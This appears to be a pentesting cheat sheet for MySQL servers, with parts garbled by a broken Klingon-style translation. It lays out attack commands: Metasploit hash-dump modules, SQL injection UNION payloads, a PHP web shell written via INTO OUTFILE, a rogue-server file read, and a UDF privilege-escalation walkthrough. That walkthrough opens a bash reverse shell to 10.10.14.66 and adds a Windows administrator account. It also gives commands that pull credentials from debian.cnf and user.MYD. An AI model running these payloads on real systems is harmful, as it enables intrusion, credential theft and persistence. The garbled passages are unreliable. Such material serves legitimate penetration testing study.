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3306 - Pentesting Mysql

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Basic Information

MySQL can be described as an open source Relational Database Management System (RDBMS) that is available at no cost. It operates on the Structured Query Language (SQL), enabling the management and manipulation of databases.

Default port: 3306

3306/tcp open  mysql

Qap

Qa'vam

mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)

Qa'chuq

Introduction

The MySQL database is a popular choice for storing and managing data in various applications. As a remote attacker, gaining unauthorized access to a MySQL server can provide valuable information and potentially allow for further exploitation. This section will cover various techniques and tools that can be used to remotely pentest MySQL servers.

Enumeration

Before attempting to exploit a MySQL server, it is important to gather information about the target. This can be done using various enumeration techniques, such as:

Port Scanning: Identify open ports on the target system using tools like Nmap. The default port for MySQL is 3306.
Banner Grabbing: Retrieve the MySQL server version and other information by connecting to the target port using tools like Telnet or Netcat.
Service Fingerprinting: Use tools like Nmap or Metasploit to identify the specific version and configuration of the MySQL service.

Authentication Bypass

If the MySQL server allows for remote connections without proper authentication, an attacker can gain unauthorized access to the database. Some common methods for bypassing authentication include:

Default Credentials: Try using default usernames and passwords, such as "root" with no password or "admin" with "admin" as the password.
Brute-Force Attacks: Use tools like Hydra or Medusa to systematically guess usernames and passwords until a valid combination is found.
SQL Injection: Exploit vulnerabilities in the application layer to inject SQL queries that bypass authentication checks.

Exploiting Vulnerabilities

Once authenticated, an attacker can exploit various vulnerabilities in the MySQL server to gain unauthorized access or perform other malicious actions. Some common vulnerabilities to look out for include:

Privilege Escalation: Exploit misconfigurations or vulnerabilities to elevate privileges and gain administrative access to the database.
SQL Injection: Exploit vulnerabilities in the application layer to execute arbitrary SQL queries or commands on the database.
Remote Code Execution: Exploit vulnerabilities to execute arbitrary code on the server, potentially leading to full control of the system.

Post-Exploitation

After gaining access to a MySQL server, an attacker can perform various post-exploitation activities, such as:

Data Extraction: Retrieve sensitive data from the database, such as usernames, passwords, or other confidential information.
Data Modification: Modify or delete data in the database, potentially causing disruption or damage to the target system.
Persistence: Establish persistence on the target system by creating backdoors or modifying configuration files.

Conclusion

Remote pentesting of MySQL servers can provide valuable insights into the security of an application or system. By understanding the various techniques and vulnerabilities associated with MySQL, security professionals can better protect against potential attacks.

mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost

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nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds

Qa'vIn

Qa'vIn vItlhutlh vItlhutlh data

CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)

MySQL be'Hom

Introduction

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show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;

mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'

MySQL Permissions Enumeration

Introduction

In MySQL, permissions control the actions that users can perform on databases and tables. Enumerating the permissions of a MySQL user is an important step in the process of assessing the security of a MySQL server. By understanding the privileges assigned to a user, an attacker can identify potential vulnerabilities and plan their attack accordingly.

Enumerating User Privileges

To enumerate the privileges of a MySQL user, you can use the following SQL query:

SELECT * FROM mysql.user WHERE user='username';

Replace 'username' with the actual username you want to enumerate.

This query will return a row for each user with the specified username, displaying their privileges in the columns of the result set. The GRANT column indicates the specific privileges assigned to the user.

Enumerating Global Privileges

To enumerate the global privileges assigned to all users, you can use the following SQL query:

SELECT * FROM mysql.user;

This query will return a row for each user, displaying their global privileges in the columns of the result set.

Enumerating Database-Specific Privileges

To enumerate the privileges assigned to a specific database, you can use the following SQL query:

SELECT * FROM mysql.db WHERE user='username' AND db='database';

Replace 'username' with the actual username and 'database' with the name of the database you want to enumerate.

This query will return a row for each user with the specified username and database, displaying their privileges in the columns of the result set.

Enumerating Table-Specific Privileges

To enumerate the privileges assigned to a specific table within a database, you can use the following SQL query:

SHOW GRANTS FOR 'username'@'localhost' ON `database`.`table`;

Replace 'username' with the actual username, 'localhost' with the appropriate hostname, 'database' with the name of the database, and 'table' with the name of the table you want to enumerate.

This query will display the privileges assigned to the user for the specified table.

Conclusion

Enumerating the permissions of a MySQL user is a crucial step in the process of assessing the security of a MySQL server. By understanding the privileges assigned to a user, an attacker can identify potential vulnerabilities and plan their attack accordingly.

#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root';
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';

You can see in the docs the meaning of each privilege: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html

MySQL File RCE

{% content-ref url="../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md" %} mysql-ssrf.md {% endcontent-ref %}

MySQL arbitrary read file by client

Actually, when you try to load data local into a table the content of a file the MySQL or MariaDB server asks the client to read it and send the content. Then, if you can tamper a mysql client to connect to your own MySQL server, you can read arbitrary files.
Please notice that this is the behaviour using:

load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

(Notice the "local" word)
Because without the "local" you can get:

mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

Initial PoC: https://github.com/allyshka/Rogue-MySql-Server
In this paper you can see a complete description of the attack and even how to extend it to RCE: https://paper.seebug.org/1113/
Here you can find an overview of the attack: http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/

{% embed url="https://www.rootedcon.com/" %}

POST

Mysql User

It will be very interesting if mysql is running as root:

cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1

qarDaSmysqld.cnf qar

MySQL Daq 'e' vItlhutlh:

user Daq 'e' vItlhutlh MySQL Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh.
password MySQL Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh.
admin_address IP patlh Daq 'e' vItlhutlh TCP/IP qachDaq 'e' vItlhutlh.
debug Daq 'e' vItlhutlh vaj logmeyDaq Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh.
sql_warnings Daq 'e' vItlhutlh vaj logmeyDaq Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh.
secure_file_priv Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh vaj Daq 'e' vItlhutlh.

# Get current user (an all users) privileges and hashes
use mysql;
select user();
select user,password,create_priv,insert_priv,update_priv,alter_priv,delete_priv,drop_priv from user;

# Get users, permissions & creds
SELECT * FROM mysql.user;
mysql -u root --password=<PASSWORD> -e "SELECT * FROM mysql.user;"

# Create user and give privileges
create user test identified by 'test';
grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mysql' WITH GRANT OPTION;

# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh

Privilege Escalation via library

If the mysql server is running as root (or a different more privileged user) you can make it execute commands. For that, you need to use user defined functions. And to create a user defined you will need a library for the OS that is running mysql.

The malicious library to use can be found inside sqlmap and inside metasploit by doing locate "*lib_mysqludf_sys*". The .so files are linux libraries and the .dll are the Windows ones, choose the one you need.

If you don't have those libraries, you can either look for them, or download this linux C code and compile it inside the linux vulnerable machine:

gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

DaH jImej, library'e' vItlhutlh. Mysql vItlhutlh'e' login, 'ej 'oH 'e' vItlhutlh'e' (root?) 'ej vItlhutlh'e' 'e' vItlhutlh'e':

Linux

# Use a database
use mysql;
# Create a table to load the library and move it to the plugins dir
create table npn(line blob);
# Load the binary library inside the table
## You might need to change the path and file name
insert into npn values(load_file('/tmp/lib_mysqludf_sys.so'));
# Get the plugin_dir path
show variables like '%plugin%';
# Supposing the plugin dir was /usr/lib/x86_64-linux-gnu/mariadb19/plugin/
# dump in there the library
select * from npn into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/lib_mysqludf_sys.so';
# Create a function to execute commands
create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
# Execute commands
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');

Windows

# CHech the linux comments for more indications
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://temp//lib_mysqludf_sys.dll'));
show variables like '%plugin%';
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

Extracting MySQL credentials from files

Inside /etc/mysql/debian.cnf you can find the plain-text password of the user debian-sys-maint

tlhIngan Hol Translation:

/etc/mysql/debian.cnf vItlhutlhlaHchugh, debian-sys-maint lo'wI' 'e' plain-text password vItlhutlhlaH.

cat /etc/mysql/debian.cnf

tlhIngan Hol:

mysql database login ghaH credentials 'e' 'e' 'e'.

/var/lib/mysql/mysql/user.MYD file 'e' 'e' 'e' MySQL users hashes 'e' 'e' 'e' (mysql.user database 'e' 'e' 'e' extract 'e' 'e' 'e').

'e' 'e' 'e' extract 'e' 'e' 'e' 'e'.

grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"

log DIvI'

/etc/mysql/my.cnf Daq log mysql queries enable log.

QaQmey

Configuration Files

windows *
config.ini
my.ini
windows\my.ini
winnt\my.ini
<InstDir>/mysql/data/
unix
my.cnf
/etc/my.cnf
/etc/mysql/my.cnf
/var/lib/mysql/my.cnf
~/.my.cnf
/etc/my.cnf
Command History
~/.mysql.history
Log Files
connections.log
update.log
common.log

Default MySQL Database/Tables

{% tabs %} {% tab title="information_schema" %} ALL_PLUGINS
APPLICABLE_ROLES
CHARACTER_SETS
CHECK_CONSTRAINTS
COLLATIONS
COLLATION_CHARACTER_SET_APPLICABILITY
COLUMNS
COLUMN_PRIVILEGES
ENABLED_ROLES
ENGINES
EVENTS
FILES
GLOBAL_STATUS
GLOBAL_VARIABLES
KEY_COLUMN_USAGE
KEY_CACHES
OPTIMIZER_TRACE
PARAMETERS
PARTITIONS
PLUGINS
PROCESSLIST
PROFILING
REFERENTIAL_CONSTRAINTS
ROUTINES
SCHEMATA
SCHEMA_PRIVILEGES
SESSION_STATUS
SESSION_VARIABLES
STATISTICS
SYSTEM_VARIABLES
TABLES
TABLESPACES
TABLE_CONSTRAINTS
TABLE_PRIVILEGES
TRIGGERS
USER_PRIVILEGES
VIEWS
INNODB_LOCKS
INNODB_TRX
INNODB_SYS_DATAFILES
INNODB_FT_CONFIG
INNODB_SYS_VIRTUAL
INNODB_CMP
INNODB_FT_BEING_DELETED
INNODB_CMP_RESET
INNODB_CMP_PER_INDEX
INNODB_CMPMEM_RESET
INNODB_FT_DELETED
INNODB_BUFFER_PAGE_LRU
INNODB_LOCK_WAITS
INNODB_TEMP_TABLE_INFO
INNODB_SYS_INDEXES
INNODB_SYS_TABLES
INNODB_SYS_FIELDS
INNODB_CMP_PER_INDEX_RESET
INNODB_BUFFER_PAGE
INNODB_FT_DEFAULT_STOPWORD
INNODB_FT_INDEX_TABLE
INNODB_FT_INDEX_CACHE
INNODB_SYS_TABLESPACES
INNODB_METRICS
INNODB_SYS_FOREIGN_COLS
INNODB_CMPMEM
INNODB_BUFFER_POOL_STATS
INNODB_SYS_COLUMNS
INNODB_SYS_FOREIGN
INNODB_SYS_TABLESTATS
GEOMETRY_COLUMNS
SPATIAL_REF_SYS
CLIENT_STATISTICS
INDEX_STATISTICS
USER_STATISTICS
INNODB_MUTEXES
TABLE_STATISTICS
INNODB_TABLESPACES_ENCRYPTION
user_variables
INNODB_TABLESPACES_SCRUBBING
INNODB_SYS_SEMAPHORE_WAITS {% endtab %}

{% tab title="mysql" %} columns_priv
column_stats
db
engine_cost
event
func
general_log
gtid_executed
gtid_slave_pos
help_category
help_keyword
help_relation
help_topic
host
index_stats
innodb_index_stats
innodb_table_stats
ndb_binlog_index
plugin
proc
procs_priv
proxies_priv
roles_mapping
server_cost
servers
slave_master_info
slave_relay_log_info
slave_worker_info
slow_log
tables_priv
table_stats
time_zone
time_zone_leap_second
time_zone_name
time_zone_transition
time_zone_transition_type
transaction_registry
user {% endtab %}

{% tab title="performance_schema" %} accounts
cond_instances
events_stages_current
events_stages_history
events_stages_history_long
events_stages_summary_by_account_by_event_name
events_stages_summary_by_host_by_event_name
events_stages_summary_by_thread_by_event_name
events_stages_summary_by_user_by_event_name
events_stages_summary_global_by_event_name
events_statements_current
events_statements_history
events_statements_history_long
events_statements_summary_by_account_by_event_name
events_statements_summary_by_digest
events_statements_summary_by_host_by_event_name
events_statements_summary_by_program
events_statements_summary_by_thread_by_event_name
events_statements_summary_by_user_by_event_name
events_statements_summary_global_by_event_name
events_transactions_current
events_transactions_history
events_transactions_history_long
events_transactions_summary_by_account_by_event_name
events_transactions_summary_by_host_by_event_name
events_transactions_summary_by_thread_by_event_name
events_transactions_summary_by_user_by_event_name
events_transactions_summary_global_by_event_name
events_waits_current
events_waits_history
events_waits_history_long
events_waits_summary_by_account_by_event_name
events_waits_summary_by_host_by_event_name
events_waits_summary_by_instance
events_waits_summary_by_thread_by_event_name
events_waits_summary_by_user_by_event_name
events_waits_summary_global_by_event_name
file_instances
file_summary_by_event_name
file_summary_by_instance
global_status
global_variables
host_cache
hosts
memory_summary_by_account_by_event_name
memory_summary_by_host_by_event_name
memory_summary_by_thread_by_event_name
memory_summary_by_user_by_event_name
memory_summary_global_by_event_name
metadata_locks
mutex_instances
objects_summary_global_by_type
performance_timers
prepared_statements_instances
replication_applier_configuration
replication_applier_status
replication_applier_status_by_coordinator
replication_applier_status_by_worker
replication_connection_configuration
replication_connection_status
replication_group_member_stats
replication_group_members
rwlock_instances
session_account_connect_attrs
session_connect_attrs
session_status
session_variables
setup_actors
setup_consumers
setup_instruments
setup_objects
setup_timers
socket_instances
socket_summary_by_event_name
socket_summary_by_instance
status_by_account
status_by_host
status_by_thread
status_by_user
table_handles
table_io_waits_summary_by_index_usage
table_io_waits_summary_by_table
table_lock_waits_summary_by_table
threads
user_variables_by_thread
users
variables_by_thread {% endtab %}

{% tab title="sys" %} host_summary
host_summary_by_file_io
host_summary_by_file_io_type
host_summary_by_stages
host_summary_by_statement_latency
host_summary_by_statement_type
innodb_buffer_stats_by_schema
innodb_buffer_stats_by_table
innodb_lock_waits
io_by_thread_by_latency
io_global_by_file_by_bytes
io_global_by_file_by_latency
io_global_by_wait_by_bytes
io_global_by_wait_by_latency
latest_file_io
memory_by_host_by_current_bytes
memory_by_thread_by_current_bytes
memory_by_user_by_current_bytes
memory_global_by_current_bytes
memory_global_total
metrics
processlist schema_table_statistics
schema_table_statistics_with_buffer
schema_tables_with_full_table_scans
schema_unused_indexes
session
session_ssl_status
statement_analysis
statements_with_errors_or_warnings
statements_with_full_table_scans
statements_with_runtimes_in_95th_percentile
statements_with_sorting
statements_with_temp_tables
sys_config
user_summary
user_summary_by_file_io
user_summary_by_file_io_type
user_summary_by_stages
user_summary_by_statement_latency
user_summary_by_statement_type
version
wait_classes_global_by_avg_latency
wait_classes_global_by_latency
waits_by_host_by_latency
waits_by_user_by_latency
waits_global_by_latency
x$host_summary
x$host_summary_by_file_io
x$host_summary_by_file_io_type
x$host_summary_by_stages
x$host_summary_by_statement_latency
x$host_summary_by_statement_type
x$innodb_buffer_stats_by_schema
x$innodb_buffer_stats_by_table
x$innodb_lock_waits
x$io_by_thread_by_latency
x$io_global_by_file_by_bytes
x$io_global_by_file_by_latency
x$io_global_by_wait_by_bytes
x$io_global_by_wait_by_latency
x$latest_file_io
x$memory_by_host_by_current_bytes
x$memory_by_thread_by_current_bytes
x$memory_by_user_by_current_bytes
x$memory_global_by_current_bytes
x$memory_global_total
x$processlist
x$ps_digest_95th_percentile_by_avg_us
x$ps_digest_avg_latency_distribution
x$ps_schema_table_statistics_io
x$schema_flattened_keys
x$schema_index_statistics
x$schema_table_lock_waits
x$schema_table_statistics
x$schema_table_statistics_with_buffer
x$schema_tables_with_full_table_scans
x$session
x$statement_analysis
x$statements_with_errors_or_warnings
x$statements_with_full_table_scans
x$statements_with_runtimes_in_95th_percentile
x$statements_with_sorting
x$statements_with_temp_tables
x$user_summary
x$user_summary_by_file_io
x$user_summary_by_file_io_type
x$user_summary_by_stages
x$user_summary_by_statement_latency
x$user_summary_by_statement_type
x$wait_classes_global_by_avg_latency
x$wait_classes_global_by_latency
x$waits_by_host_by_latency
x$waits_by_user_by_latency
x$waits_global_by_latency

HackTricks Automatic Commands

Protocol_Name: MySql    #Protocol Abbreviation if there is one.
Port_Number:  3306     #Comma separated if there is more than one.
Protocol_Description: MySql     #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).

https://book.hacktricks.xyz/pentesting/pentesting-mysql

Entry_2:
Name: Nmap
Description: Nmap with MySql Scripts
Command: nmap --script=mysql-databases.nse,mysql-empty-password.nse,mysql-enum.nse,mysql-info.nse,mysql-variables.nse,mysql-vuln-cve2012-2122.nse {IP} -p 3306

Entry_3:
Name: MySql
Description: Attempt to connect to mysql server
Command: mysql -h {IP} -u {Username}@localhost

Entry_4:
Name: MySql consolesless mfs enumeration
Description: MySql enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

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45 KiB Raw Permalink Blame History Unescape Escape

3306 - Pentesting Mysql

Basic Information

Qap

Qa'vam

Qa'chuq

Introduction

Enumeration

Authentication Bypass

Exploiting Vulnerabilities

Post-Exploitation

Conclusion

Qa'chuq QaD

Qa'vIn

Qa'vIn vItlhutlh vItlhutlh data

MySQL be'Hom

Introduction

MySQL Permissions Enumeration

Introduction

Enumerating User Privileges

Enumerating Global Privileges

Enumerating Database-Specific Privileges

Enumerating Table-Specific Privileges

Conclusion

MySQL File RCE

MySQL arbitrary read file by client

POST

Mysql User

qarDaSmysqld.cnf qar

Privilege Escalation via library

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45 KiB

Raw Permalink Blame History